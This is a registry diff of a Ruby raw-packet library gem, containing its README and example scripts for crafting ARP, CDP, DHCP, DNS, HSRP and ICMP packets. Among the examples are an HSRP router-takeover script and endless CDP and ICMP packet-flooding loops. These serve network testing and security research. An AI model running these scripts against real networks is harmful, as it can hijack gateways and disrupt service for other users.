mt_racket 1.0.12a

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (91) hide show
  1. checksums.yaml +7 -0
  2. data/README +76 -0
  3. data/examples/arp-send +24 -0
  4. data/examples/arp-send2 +30 -0
  5. data/examples/cdp +39 -0
  6. data/examples/cdp-spew +52 -0
  7. data/examples/dhcp +42 -0
  8. data/examples/dhcp-spew +48 -0
  9. data/examples/dns +38 -0
  10. data/examples/egp +30 -0
  11. data/examples/hsrp +43 -0
  12. data/examples/hsrp_takeover +69 -0
  13. data/examples/icmp-recv +34 -0
  14. data/examples/icmp-spew +50 -0
  15. data/examples/icmpv6 +84 -0
  16. data/examples/icmpv6-spew +50 -0
  17. data/examples/igmpv1 +27 -0
  18. data/examples/igmpv2 +27 -0
  19. data/examples/igrp-send +25 -0
  20. data/examples/ipv6 +35 -0
  21. data/examples/nat-pimp +32 -0
  22. data/examples/ntp +38 -0
  23. data/examples/ntp2 +42 -0
  24. data/examples/sctp +32 -0
  25. data/examples/stp-send +21 -0
  26. data/examples/synflood +147 -0
  27. data/examples/tcp +43 -0
  28. data/examples/tcp2udp +65 -0
  29. data/examples/udp +46 -0
  30. data/examples/vrrp +34 -0
  31. data/examples/vtp +28 -0
  32. data/lib/racket/l2/eightotwodotthree.rb +48 -0
  33. data/lib/racket/l2/ethernet.rb +62 -0
  34. data/lib/racket/l2/llc.rb +50 -0
  35. data/lib/racket/l2/misc.rb +67 -0
  36. data/lib/racket/l2/snap.rb +40 -0
  37. data/lib/racket/l2/vlan.rb +61 -0
  38. data/lib/racket/l2/vtp.rb +124 -0
  39. data/lib/racket/l2.rb +30 -0
  40. data/lib/racket/l3/arp.rb +63 -0
  41. data/lib/racket/l3/cdp.rb +85 -0
  42. data/lib/racket/l3/egp.rb +53 -0
  43. data/lib/racket/l3/ipv4.rb +132 -0
  44. data/lib/racket/l3/ipv6.rb +66 -0
  45. data/lib/racket/l3/misc.rb +159 -0
  46. data/lib/racket/l3/stp.rb +81 -0
  47. data/lib/racket/l3.rb +30 -0
  48. data/lib/racket/l4/gre.rb +65 -0
  49. data/lib/racket/l4/icmp.rb +295 -0
  50. data/lib/racket/l4/icmpv6.rb +446 -0
  51. data/lib/racket/l4/igmpv1.rb +79 -0
  52. data/lib/racket/l4/igmpv2.rb +76 -0
  53. data/lib/racket/l4/igrp.rb +138 -0
  54. data/lib/racket/l4/misc.rb +35 -0
  55. data/lib/racket/l4/sctp.rb +163 -0
  56. data/lib/racket/l4/tcp.rb +152 -0
  57. data/lib/racket/l4/udp.rb +81 -0
  58. data/lib/racket/l4/vrrp.rb +95 -0
  59. data/lib/racket/l4.rb +30 -0
  60. data/lib/racket/l5/bootp.rb +106 -0
  61. data/lib/racket/l5/dns.rb +110 -0
  62. data/lib/racket/l5/hsrp.rb +73 -0
  63. data/lib/racket/l5/misc.rb +35 -0
  64. data/lib/racket/l5/nat-pmp.rb +41 -0
  65. data/lib/racket/l5/ntp.rb +59 -0
  66. data/lib/racket/l5.rb +30 -0
  67. data/lib/racket/misc/lv.rb +108 -0
  68. data/lib/racket/misc/misc.rb +62 -0
  69. data/lib/racket/misc/orderedhash.rb +63 -0
  70. data/lib/racket/misc/raw.rb +35 -0
  71. data/lib/racket/misc/tlv.rb +103 -0
  72. data/lib/racket/misc/vt.rb +114 -0
  73. data/lib/racket/misc.rb +30 -0
  74. data/lib/racket/racket.rb +166 -0
  75. data/lib/racket/racketpart.rb +66 -0
  76. data/lib/racket.rb +4 -0
  77. data/test/l2/ts_ethernet.rb +22 -0
  78. data/test/l2/ts_misc.rb +23 -0
  79. data/test/l2/ts_vlan.rb +15 -0
  80. data/test/l3/ts_ipv4.rb +44 -0
  81. data/test/l3/ts_ipv6.rb +26 -0
  82. data/test/l3/ts_misc.rb +31 -0
  83. data/test/l4/ts_icmp.rb +38 -0
  84. data/test/l4/ts_tcp.rb +55 -0
  85. data/test/l4/ts_udp.rb +40 -0
  86. data/test/misc/ts_lv.rb +59 -0
  87. data/test/misc/ts_orderedhash.rb +33 -0
  88. data/test/misc/ts_tlv.rb +47 -0
  89. data/test/misc/ts_vt.rb +56 -0
  90. data/test/ts_all.rb +14 -0
  91. metadata +153 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 0cf3a98036c8d66c0b7e9cc2684f5c1f6b5f5ab0dbe2655ecc7e750dfe28d513
4
+ data.tar.gz: c2d597fa40aa7d3ea531e87fef6429e2915eb31dbda2bf1cec4c211522f2821e
5
+ SHA512:
6
+ metadata.gz: 6ff0c92579162fbc6ca2026545cd6730631bd8ffd9231ccf8cbf453276db599c0772762b2d11dc91ab480d9669aa8e66efce32cdc351ec8083eda81e8cb5cafe
7
+ data.tar.gz: 65692c82e9f50fd30ff4d04512176aba59be2d0b3a37889728aa48fe56f8693d9e359d4e6b3a0f12d49644a53873b3e3b581b8b2e1fa495f2e9783c4f76402ec
data/README ADDED
@@ -0,0 +1,76 @@
1
+ # $Id$
2
+
3
+ Racket -- Ruby Raw Packet library.
4
+
5
+ Comments, concerns, bugs, money, food, libations to:
6
+
7
+ Jon Hart <jhart@spoofed.org>
8
+
9
+ Installation is simple:
10
+
11
+ gem install --source http://spoofed.org/files/racket/ racket
12
+
13
+ If you desire the source:
14
+
15
+ svn co http://spoofed.org/racket/svn racket
16
+
17
+ Includes support for reading and writing most major layer 2, 3, 4 and
18
+ 5 protocols.
19
+
20
+ Basic packet construction and writing is as simple (!) as walking
21
+ the stack:
22
+
23
+ require 'rubygems'
24
+ require 'racket'
25
+
26
+ include Racket
27
+ unless (ARGV.size == 4)
28
+ puts "Usage: #{$0} <srcip> <dstip> <dst_port> <size>"
29
+ exit
30
+ end
31
+
32
+ # create a new Racket object and pick an interface
33
+ n = Racket::Racket.new
34
+ n.iface = "eth0"
35
+
36
+ # skip right to layer3, layer2 will be done automatically
37
+ # build a new IPv4 layer, and assign src and dst ip from the command line
38
+ n.l3 = IPv4.new
39
+ n.l3.src_ip = ARGV[0]
40
+ n.l3.dst_ip = ARGV[1]
41
+ n.l3.protocol = 0x11
42
+
43
+ # tack on UDP
44
+ n.l4 = UDP.new
45
+ # randomize source port
46
+ n.l4.src_port = 1024 + rand(65535-1024)
47
+ # take destination port from the commandline
48
+ n.l4.dst_port = ARGV[2].to_i
49
+ # build a random amount of garbage for the payload
50
+ n.l4.payload = Misc.randstring(ARGV[3].to_i)
51
+
52
+ # fix 'er up (checksum, length) prior to sending
53
+ n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
54
+
55
+ # off you go
56
+ f = n.sendpacket
57
+
58
+ # print out what we built
59
+ n.layers.compact.each do |l|
60
+ puts l.pretty
61
+ end
62
+ puts "Sent #{f}"
63
+
64
+ Packet reading, done through something like Pcap, is pretty straight forward too:
65
+
66
+ require 'rubygems'
67
+ require 'racket'
68
+
69
+ # Get the raw capture data from somewhere. In this case, I've hardcoded it
70
+ binary = "\x45\x10\x00\x3c\x2f\xdf\x40\x00\x40\x06\x89\x17\xc0\xa8\x00\x64\xc0\xa8\x00\x01\x99\xb7\x00\x35\x29\x39\x28\x66\x00\x00\x00\x00\xa0\x02\x16\xd0\xbc\x04\x00\x00\x02\x04\x05\xb4\x04\x02\x08\x0a\x00\x31\x07\xb9\x00\x00\x00\x00\x01\x03\x03\x07"
71
+ i = Racket::IPv4.new(binary)
72
+
73
+ # this will print it out all pretty like, and should show a 60 byte TCP packet from 192.168.0.100 to 192.168.0.1
74
+ puts i.pretty
75
+
76
+
data/examples/arp-send ADDED
@@ -0,0 +1,24 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id$
4
+ #
5
+ # Example that just writes a simple arp packet to eth0
6
+ require 'rubygems'
7
+ require 'racket'
8
+
9
+ include Racket
10
+
11
+ unless (ARGV.size == 2)
12
+ puts "Usage: #{$0} <interface> <opcode>"
13
+ exit
14
+ end
15
+
16
+ n = Racket::Racket.new
17
+ n.iface = ARGV[0]
18
+
19
+ n.l2 = L2::Ethernet.new(Misc.randstring(14))
20
+ n.l2.ethertype = 0x0806
21
+ n.l3 = L3::ARP.new
22
+ n.l3.opcode = ARGV[1].to_i
23
+
24
+ n.sendpacket
@@ -0,0 +1,30 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id$
4
+ #
5
+ # Send an arp packet that is VLAN tagged
6
+ require 'rubygems'
7
+ require 'racket'
8
+
9
+ unless (ARGV.size == 7)
10
+ puts "Usage: #{$0} <interface> <vlan> <opcode> <sha> <spa> <tha> <tpa>"
11
+ exit
12
+ end
13
+
14
+ include Racket
15
+ n = Racket::Racket.new
16
+ n.iface = ARGV[0]
17
+
18
+ n.l2 = L2::Ethernet.new(Misc.randstring(14))
19
+ n.l2.ethertype = 0x8100
20
+ n.l3 = L2::VLAN.new
21
+ n.l3.type = 0x0806
22
+ n.l3.id = ARGV[1].to_i
23
+ n.l4 = L3::ARP.new
24
+ n.l4.opcode = ARGV[2].to_i
25
+ n.l4.sha = ARGV[3]
26
+ n.l4.spa = ARGV[4]
27
+ n.l4.tha = ARGV[5]
28
+ n.l4.tpa = ARGV[6]
29
+
30
+ n.sendpacket
data/examples/cdp ADDED
@@ -0,0 +1,39 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id$
4
+ #
5
+ # Send amusing CDP packets
6
+ require 'rubygems'
7
+ require 'racket'
8
+
9
+ unless (ARGV.size == 1)
10
+ puts "Usage: #{$0} <interface>"
11
+ exit
12
+ end
13
+
14
+ include Racket
15
+ n = Racket::Racket.new
16
+ n.iface = ARGV[0]
17
+
18
+ n.layers[2] = L2::EightOTwoDotThree.new(Misc.randstring(14))
19
+ n.layers[2].dst_mac = "01:00:0c:cc:cc:cc"
20
+ n.layers[2].length = 0
21
+ n.layers[3] = L2::LLC.new()
22
+ n.layers[4] = L2::SNAP.new()
23
+ n.layers[4].pid = 0x2000
24
+
25
+ n.layers[5] = L3::CDP.new()
26
+ n.layers[5].version = 1
27
+ n.layers[5].add_field(1, "CDP, FTW!")
28
+ n.layers[5].add_field(3, "PetabitEthernet0/1")
29
+ n.layers[5].add_field(5, "Some really old version of IOS that nobody, except you, uses.")
30
+ n.layers[5].add_field(6, "Linux")
31
+ n.layers[5].add_field(4, "\xff\xff\xff\xff") # capabilities galore!
32
+ n.layers[5].add_field(9, "wtf.edu") # vlan management domain
33
+ n.layers[5].add_field(10, "\x00\x20")
34
+
35
+ n.layers.compact.each do |l|
36
+ puts l.pretty
37
+ end
38
+
39
+ n.sendpacket
data/examples/cdp-spew ADDED
@@ -0,0 +1,52 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id$
4
+ #
5
+ # Spew CDP packets to all Cisco devices on the network
6
+ #
7
+ # Jon Hart <jhart@spoofed.org>
8
+
9
+ require 'rubygems'
10
+ require 'racket'
11
+ include Racket
12
+
13
+ unless (ARGV.size >= 1)
14
+ puts "Usage: #{$0} <iface> [num fields per CDP packet]"
15
+ exit
16
+ end
17
+
18
+ def tick
19
+ @it += 1
20
+ @it = 0 if @it >= @ticks.size
21
+ print "\r#{@ticks[@it]}"
22
+ STDOUT.flush
23
+ end
24
+
25
+ def randcdp
26
+ @n.layers[2] = L2::EightOTwoDotThree.new(Misc.randstring(14))
27
+ @n.layers[2].dst_mac = "01:00:0c:cc:cc:cc"
28
+ @n.layers[2].length = 0
29
+ @n.layers[3] = L2::LLC.new()
30
+ @n.layers[4] = L2::SNAP.new()
31
+ @n.layers[4].pid = 0x2000
32
+ @n.layers[5] = L3::CDP.new()
33
+ @n.layers[5].version = 1
34
+
35
+ limit = ARGV[1].to_i || 100
36
+ 1.upto(limit) do |f|
37
+ @n.layers[5].add_field(f, Misc.randstring(5))
38
+ end
39
+ @n.sendpacket
40
+ tick
41
+ end
42
+
43
+ @it = 0
44
+ @ticks = %w( / - \\ | )
45
+
46
+ @n = Racket::Racket.new
47
+ @n.iface = ARGV[0]
48
+
49
+ puts "Spewing..."
50
+ while (true)
51
+ randcdp
52
+ end
data/examples/dhcp ADDED
@@ -0,0 +1,42 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id$
4
+ #
5
+ # Send useless DHCP packets
6
+ require 'rubygems'
7
+ require 'racket'
8
+
9
+ include Racket
10
+
11
+ unless (ARGV.size == 2)
12
+ puts "Usage: #{$0} <srcip> <dstip>"
13
+ exit
14
+ end
15
+
16
+ n = Racket::Racket.new
17
+ n.iface = "eth0"
18
+
19
+ n.layers[3] = L3::IPv4.new
20
+ n.layers[3].src_ip = ARGV[0]
21
+ n.layers[3].dst_ip = ARGV[1]
22
+ n.layers[3].version = 4
23
+ n.layers[3].hlen = 0x5 #
24
+ n.layers[3].ttl = 44
25
+ n.layers[3].protocol = 0x11
26
+
27
+ n.layers[4] = L4::UDP.new
28
+ n.layers[4].src_port = 68
29
+ n.layers[4].dst_port = 67
30
+
31
+ n.layers[5] = L5::BOOTP.new
32
+ n.layers[5].yip = "192.168.0.4"
33
+ n.layers[5].file = "foobar?"
34
+
35
+ n.layers[4].payload = n.layers[5]
36
+ n.layers[4].fix!(n.layers[3].src_ip, n.layers[3].dst_ip)
37
+ n.layers[4].payload = ""
38
+
39
+ f = n.sendpacket
40
+
41
+ puts "Sent! #{f}"
42
+ # vim: set ts=2 et sw=2:
@@ -0,0 +1,48 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id$
4
+ #
5
+ # Send useless DHCP packets
6
+ require 'rubygems'
7
+ require 'racket'
8
+
9
+ include Racket
10
+ unless (ARGV.size == 2)
11
+ puts "Usage: #{$0} <srcip> <dstip>"
12
+ exit
13
+ end
14
+
15
+ n = Racket::Racket.new
16
+ n.iface = "eth0"
17
+
18
+ n.layers[3] = L3::IPv4.new
19
+ n.layers[3].src_ip = ARGV[0]
20
+ n.layers[3].dst_ip = ARGV[1]
21
+ n.layers[3].version = 4
22
+ n.layers[3].hlen = 0x5 #
23
+ n.layers[3].ttl = 44
24
+ n.layers[3].protocol = 0x11
25
+
26
+ n.layers[4] = L4::UDP.new
27
+ n.layers[4].src_port = 68
28
+ n.layers[4].dst_port = 67
29
+
30
+ n.layers[5] = L5::BOOTP.new
31
+ n.layers[5].type = 1
32
+ n.layers[5].id = 0x12345
33
+ n.layers[5].yip = "192.168.0.4"
34
+ n.layers[5].chaddr = "00:de:ad:ba:be:ff"
35
+ #n.layers[5].file = "foobar?"
36
+ #n.layers[5].add_option(4, "\x11\x22\x33\x44")
37
+ n.layers[5].add_option(53, "\x01")
38
+
39
+ n.layers[5].fix!
40
+
41
+ n.layers[4].payload = n.layers[5]
42
+ n.layers[4].fix!(n.layers[3].src_ip, n.layers[3].dst_ip)
43
+ n.layers[4].payload = ""
44
+
45
+ f = n.sendpacket
46
+
47
+ puts "Sent! #{f}"
48
+ # vim: set ts=2 et sw=2:
data/examples/dns ADDED
@@ -0,0 +1,38 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id$
4
+ #
5
+ # Send a DNS request
6
+
7
+ require 'rubygems'
8
+ require 'racket'
9
+
10
+ include Racket
11
+ unless (ARGV.size == 3)
12
+ puts "Usage: #{$0} <srcip> <dstip> <domain>"
13
+ exit
14
+ end
15
+
16
+ n = Racket::Racket.new
17
+ n.iface = "eth0"
18
+
19
+ n.l3 = Racket::L3::IPv4.new
20
+ n.l3.src_ip = ARGV[0]
21
+ n.l3.dst_ip = ARGV[1]
22
+ n.l3.protocol = 0x11
23
+
24
+ n.l4 = Racket::L4::UDP.new
25
+ n.l4.src_port = 48484
26
+ n.l4.dst_port = 53
27
+
28
+ n.l5 = Racket::L5::DNS.new
29
+ n.l5.add_question(ARGV[2], 1, 1)
30
+ n.l4.payload = n.l5
31
+ n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
32
+ n.l4.payload = ""
33
+
34
+ f = n.sendpacket
35
+ n.layers.compact.each do |l|
36
+ puts l.pretty
37
+ end
38
+ puts "Sent #{f}"
data/examples/egp ADDED
@@ -0,0 +1,30 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id$
4
+ #
5
+
6
+ require 'rubygems'
7
+ require 'racket'
8
+
9
+ include Racket
10
+ unless (ARGV.size == 3)
11
+ puts "Usage: #{$0} <srcip> <dstip> <code>"
12
+ exit
13
+ end
14
+
15
+ n = Racket::Racket.new
16
+ n.iface = "eth0"
17
+
18
+ n.l3 = L3::IPv4.new
19
+ n.l3.src_ip = ARGV[0]
20
+ n.l3.dst_ip = ARGV[1]
21
+ n.l3.protocol = 0x8
22
+
23
+ n.l4 = L3::EGP.new
24
+ n.l4.code = ARGV[2].to_i
25
+
26
+ f = n.sendpacket
27
+ n.layers.compact.each do |l|
28
+ puts l.pretty
29
+ end
30
+ puts "Sent #{f}"
data/examples/hsrp ADDED
@@ -0,0 +1,43 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id$
4
+ #
5
+ #
6
+ # Make all of your Cisco devices unhappy by hurling HSRP packets
7
+ # at them. Hot, Hot HSRP takeover.
8
+ require 'rubygems'
9
+ require 'racket'
10
+
11
+ include Racket
12
+ unless (ARGV.size == 3)
13
+ puts "Usage: #{$0} <srcip> <group> <vip>"
14
+ exit
15
+ end
16
+
17
+ n = Racket::Racket.new
18
+ n.iface = "eth0"
19
+
20
+ n.l2 = L2::Ethernet.new(Misc.randstring(14))
21
+ n.l2.ethertype = 0x0800
22
+ n.l2.dst_mac = "01:00:5e:00:00:02"
23
+
24
+ n.l3 = L3::IPv4.new
25
+ n.l3.protocol = 17
26
+ n.l3.dst_ip = "224.0.0.2"
27
+ n.l3.src_ip = ARGV[0]
28
+
29
+ n.l4 = L4::UDP.new
30
+ n.l4.src_port = 1985
31
+ n.l4.dst_port = 1985
32
+
33
+ n.l5 = L5::HSRP.new
34
+ n.l5.vip = ARGV[2]
35
+ n.l5.group = ARGV[1].to_i
36
+
37
+ n.l4.payload = n.l5
38
+ n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
39
+ n.l4.payload = ""
40
+
41
+ n.sendpacket
42
+
43
+ puts n.pretty
@@ -0,0 +1,69 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id$
4
+ #
5
+ #
6
+ # Listen for HSRP broadcasts and use the information learned
7
+ # therein to perform an active "takeover" of that VIP. Evil.
8
+ #
9
+ # Jon Hart <jhart@spoofed.org>
10
+
11
+ require 'rubygems'
12
+ require 'pcaprub'
13
+ require 'racket'
14
+
15
+ include Racket
16
+ if (ARGV.size != 2)
17
+ puts "Usage: #{$0} <iface> <new router>"
18
+ exit
19
+ end
20
+
21
+ iface = ARGV[0]
22
+ router = ARGV[1]
23
+
24
+ begin
25
+ p = Pcap::open_live(iface, 1500, true, 1000)
26
+ unless (iface.nil?)
27
+ p.setfilter("! host #{router}")
28
+ end
29
+ rescue Exception => e
30
+ puts "Pcap: Cannot open device #{ARGV[0]}: #{e}"
31
+ exit
32
+ end
33
+
34
+ # prep our new takeover.
35
+ takeover = Racket::Racket.new
36
+ takeover.l3 = L3::IPv4.new
37
+ takeover.l3.src_ip = router
38
+ takeover.l3.dst_ip = "224.0.0.2"
39
+ takeover.l3.protocol = 17
40
+ takeover.l4 = L4::UDP.new
41
+ takeover.l4.src_port = 1985
42
+ takeover.l4.dst_port = 1985
43
+
44
+ p.each do |pkt|
45
+ if (p.datalink == Pcap::DLT_EN10MB)
46
+ puts "Found ethernet"
47
+ eth = L2::Ethernet.new(pkt)
48
+ if (eth.ethertype == 0x0800)
49
+ ip = L3::IPv4.new(eth.payload)
50
+ if (ip.protocol == 17)
51
+ udp = L4::UDP.new(ip.payload)
52
+ if (udp.src_port == 1985 && udp.dst_port == 1985)
53
+ takeover.l5 = L5::HSRP.new(udp.payload)
54
+ takeover.l5.opcode = L5::HSRP::HSRP_HELLO
55
+ takeover.l5.state = L5::HSRP::HSRP_ACTIVE
56
+ takeover.l5.priority = 0xffff
57
+
58
+ takeover.l4.payload = takeover.l5
59
+ takeover.l4.fix!(takeover.l3.src_ip, takeover.l3.dst_ip)
60
+ takeover.l4.payload = ""
61
+
62
+ puts "Perfoming takeover on #{takeover.l5.vip}"
63
+ takeover.sendpacket
64
+ end
65
+ end
66
+ end
67
+ end
68
+ end
69
+ # vim: set ts=2 et sw=2:
@@ -0,0 +1,34 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id$
4
+ #
5
+ #
6
+ # Simple re-implementation of tcpdump using Racket
7
+ require 'pcaplet'
8
+ include Pcap
9
+ require 'rubygems'
10
+ require 'racket'
11
+ #require 'racket-all'
12
+
13
+ include Racket
14
+ pcaplet = Pcaplet.new("-s 65535" + ARGV.join)
15
+ pcaplet.each_packet { |pkt|
16
+ if (pkt.datalink == DLT_EN10MB)
17
+ l2 = L2::Ethernet.new(pkt.raw_data)
18
+ puts l2.pretty
19
+ if (l2.ethertype == 0x0800)
20
+ l3 = L3::IPv4.new(l2.payload)
21
+ puts l3.pretty
22
+ case l3.protocol
23
+ when 1
24
+ l4 = L4::ICMP.new(l3.payload)
25
+ puts l4.pretty
26
+ else
27
+ next
28
+ end
29
+ end
30
+ else
31
+ puts "Skipping unknown datalink #{pkt.datalink}"
32
+ end
33
+ }
34
+ # vim: set ts=2 et sw=2:
@@ -0,0 +1,50 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id$
4
+ #
5
+ # Given a source and destination IP address
6
+ # and a data size, spew all 65536 possible ICMP
7
+
8
+ require 'rubygems'
9
+ require 'racket'
10
+
11
+ include Racket
12
+ if (ARGV.size != 3)
13
+ puts "Usage #{$0} <src_ip> <dst_ip> <icmp data size>"
14
+ exit!
15
+ end
16
+
17
+
18
+ def tick
19
+ @it += 1
20
+ @it = 0 if @it >= @ticks.size
21
+ print "\r#{@ticks[@it]}"
22
+ STDOUT.flush
23
+ end
24
+
25
+ def rand_icmp(n)
26
+ n.l3 = L3::IPv4.new
27
+ n.l3.src_ip= ARGV[0]
28
+ n.l3.dst_ip = ARGV[1]
29
+ n.l3.version = 0x4
30
+ n.l3.hlen = 0x5
31
+ n.l3.protocol = 0x1
32
+ n.l3.flags = 0x0
33
+ n.l3.foffset = 0x0
34
+ n.l4 = L4::ICMP.new(Misc.randstring(20))
35
+ n.sendpacket
36
+ tick
37
+ end
38
+
39
+ @it = 0
40
+ @ticks = %w( / - \\ | )
41
+
42
+ n = Racket::Racket.new
43
+ n.iface = "eth0"
44
+
45
+ puts "Spewing..."
46
+ while (true)
47
+ rand_icmp(n)
48
+ end
49
+
50
+ # vim: set ts=2 et sw=2:
data/examples/icmpv6 ADDED
@@ -0,0 +1,84 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # $Id$
4
+
5
+ require 'rubygems'
6
+ require 'racket'
7
+
8
+ include Racket
9
+ unless (ARGV.size == 3)
10
+ puts "Usage: #{$0} <interface> <srcip> <dstip>"
11
+ exit
12
+ end
13
+
14
+ n = Racket::Racket.new
15
+ n.iface = ARGV[0]
16
+
17
+ #n.l2 = L2::Ethernet.new(Misc.randstring(14))
18
+ n.l2 = L2::Ethernet.new
19
+ n.l2.src_mac = L2::Misc.randommac
20
+ n.l2.dst_mac = L2::Misc.randommac
21
+ n.l2.ethertype = 0x86DD
22
+
23
+ n.l3 = L3::IPv6.new
24
+ n.l3.src_ip = L3::Misc.ipv62long(ARGV[1])
25
+ n.l3.dst_ip = L3::Misc.ipv62long(ARGV[2])
26
+ n.l3.nhead = 58
27
+
28
+ def build(i)
29
+ i.l4.fix!(i.l3.src_ip, i.l3.dst_ip)
30
+ f = i.sendpacket
31
+ puts "Sent #{f}"
32
+ end
33
+
34
+ n.l4 = L4::ICMPv6DestinationUnreachable.new
35
+ n.l4.payload = L3::IPv6.new(Misc.randstring(40))
36
+ build(n)
37
+ n.l4 = L4::ICMPv6TimeExceeded.new
38
+ n.l4.payload = L3::IPv6.new(Misc.randstring(40))
39
+ build(n)
40
+ n.l4 = L4::ICMPv6EchoRequest.new
41
+ build(n)
42
+ n.l4 = L4::ICMPv6EchoReply.new
43
+ build(n)
44
+ n.l4 = L4::ICMPv6PacketTooBig.new
45
+ n.l4.mtu = rand(65535)
46
+ n.l4.payload = L3::IPv6.new(Misc.randstring(40))
47
+ build(n)
48
+ n.l4 = L4::ICMPv6ParameterProblem.new
49
+ payload = L3::IPv6.new(Misc.randstring(40))
50
+ n.l4.payload = payload
51
+ n.l4.pointer = 0x20
52
+ build(n)
53
+ n.l4 = L4::ICMPv6MulticastListenerQuery.new
54
+ build(n)
55
+ n.l4 = L4::ICMPv6MulticastListenerReport.new
56
+ build(n)
57
+ n.l4 = L4::ICMPv6MulticastListenerDone.new
58
+ build(n)
59
+ n.l4 = L4::ICMPv6RouterSolicitation.new
60
+ build(n)
61
+ n.l4 = L4::ICMPv6RouterAdvertisement.new
62
+ build(n)
63
+ n.l4 = L4::ICMPv6NeighborSolicitation.new
64
+ build(n)
65
+ n.l4 = L4::ICMPv6NeighborAdvertisement.new
66
+ n.l4.solicited = 1
67
+ n.l4.slla = "01:02:03:04:aa:bb"
68
+ build(n)
69
+ n.l4 = L4::ICMPv6Redirect.new
70
+ n.l4.slla = "01:02:03:04:aa:bb"
71
+ n.l4.src_ip = L3::Misc.ipv62long(ARGV[2])
72
+ n.l4.dst_ip = L3::Misc.ipv62long(ARGV[1])
73
+ build(n)
74
+
75
+ n.l4 = L4::ICMPv6NodeInformationRequest.new
76
+ n.l4.payload = Misc.randstring(rand(32))
77
+ n.l4.code = 2
78
+ n.l4.payload = [L3::Misc.ipv42long("192.168.1.10")].pack("N")
79
+ n.l4.qtype = 2
80
+ build(n)
81
+
82
+ n.l4 = L4::ICMPv6NodeInformationReply.new
83
+ n.l4.payload = Misc.randstring(rand(32))
84
+ build(n)